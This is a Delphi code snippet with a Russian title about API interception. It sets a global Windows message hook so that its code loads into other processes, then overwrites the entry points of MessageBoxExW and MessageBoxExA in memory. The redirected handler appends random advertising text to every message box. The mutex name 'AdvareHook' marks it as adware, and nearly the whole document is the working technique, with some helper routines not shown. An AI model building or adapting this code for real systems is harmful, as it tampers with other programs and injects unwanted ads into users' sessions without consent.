Перехватить API! (Хуки)

// залепа
Function MessageProc(code : integer; wParam : word;
                    lParam : longint) : longint; stdcall;
begin
 CallNextHookEx(0, Code, wParam, lparam);
 Result := 0;
end;

Procedure SetGlobalHookProc();
begin
 SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
 Sleep(INFINITE);
end;
//

Procedure SetGlobalHook();
var
 hMutex: dword;
 TrId: dword;
begin
 hMutex := CreateMutex(nil, false, 'AdvareHook');
 if GetLastError = 0 then
 CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
 CloseHandle(hMutex);
end;

function NewMessageBoxExW(hWnd: HWND; lpText, lpCaption: PWideChar;
                          uType: UINT; wLanguageId: Word): Integer; stdcall;
var
 AdText: PWideChar;
 NewText: PWideChar;
 NewLen: dword;
begin
 AdText := GetRandomString();
 NewLen := (lstrlenw(AdText) + lstrlenw(lpText)) * SizeOf(WideChar) + 20;
 GetMem(NewText, NewLen);
 lstrcpyw(NewText, lpText);
 lstrcatw(NewText, #10#13#10#13);
 lstrcatw(NewText, AdText);
 FreeMem(AdText);  
 Result := TrueMessageBoxExW(hWnd, NewText, lpCaption, uType, wLanguageId);
 FreeMem(NewText);
end;

Procedure SetHook();
var
 hUser32: dword;
 Bytes: dword;
begin
  hUser32 := GetModuleHandle('user32.dll');
  MbwAdr  := GetProcAddress(hUser32, 'MessageBoxExW');
  MbaAdr  := GetProcAddress(hUser32, 'MessageBoxExA');
  ReadProcessMemory(INVALID_HANDLE_VALUE, MbwAdr, @OldMbw, SizeOf(OldCode), Bytes);
  ReadProcessMemory(INVALID_HANDLE_VALUE, MbaAdr, @OldMba, SizeOf(OldCode), Bytes);
  JmpMbw.PuhsOp  := $68;
  JmpMbw.PushArg := @NewMessageBoxExW;
  JmpMbw.RetOp   := $C3;
  JmpMba.PuhsOp  := $68;
  JmpMba.PushArg := @NewMessageBoxExA;
  JmpMba.RetOp   := $C3;
  WriteProcessMemory(INVALID_HANDLE_VALUE, MbwAdr, @JmpMbw, SizeOf(far_jmp), Bytes);
  WriteProcessMemory(INVALID_HANDLE_VALUE, MbaAdr, @JmpMba, SizeOf(far_jmp), Bytes);
end;